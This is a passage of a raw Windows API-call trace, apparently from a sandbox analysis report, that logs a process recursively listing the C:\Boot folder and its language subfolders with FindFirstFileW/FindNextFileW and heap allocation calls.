dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0275.979] GetProcessHeap () returned 0xaf0000 [0275.979] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.979] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.979] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.980] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.980] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.980] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.980] GetProcessHeap () returned 0xaf0000 [0275.980] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.980] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0275.980] GetProcessHeap () returned 0xaf0000 [0275.980] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.980] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.980] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0275.980] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="en-US", cAlternateFileName="")) returned 1 [0275.980] GetProcessHeap () returned 0xaf0000 [0275.980] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0275.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.981] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.982] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0275.982] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0275.982] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.982] GetProcessHeap () returned 0xaf0000 [0275.982] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0275.982] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="en-US", cAlternateFileName="")) returned 0 [0275.982] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0275.982] GetProcessHeap () returned 0xaf0000 [0275.982] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.983] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0275.983] GetProcessHeap () returned 0xaf0000 [0275.983] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0275.984] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.984] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.984] FindNextFileW (in: hFindFile=0xb03108, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.984] FindClose (in: hFindFile=0xb03108 | out: hFindFile=0xb03108) returned 1 [0275.984] GetProcessHeap () returned 0xaf0000 [0275.984] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.984] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0275.984] GetProcessHeap () returned 0xaf0000 [0275.984] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.985] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.985] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.985] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.985] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.985] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.985] GetProcessHeap () returned 0xaf0000 [0275.985] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.985] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0275.985] GetProcessHeap () returned 0xaf0000 [0275.985] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.985] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.985] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.986] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.986] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.986] GetProcessHeap () returned 0xaf0000 [0275.986] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.986] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0275.986] GetProcessHeap () returned 0xaf0000 [0275.986] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.986] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.986] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.986] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.986] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.986] GetProcessHeap () returned 0xaf0000 [0275.986] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.986] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0275.986] GetProcessHeap () returned 0xaf0000 [0275.986] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.987] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="..", cAlternateFileName="")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.987] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", 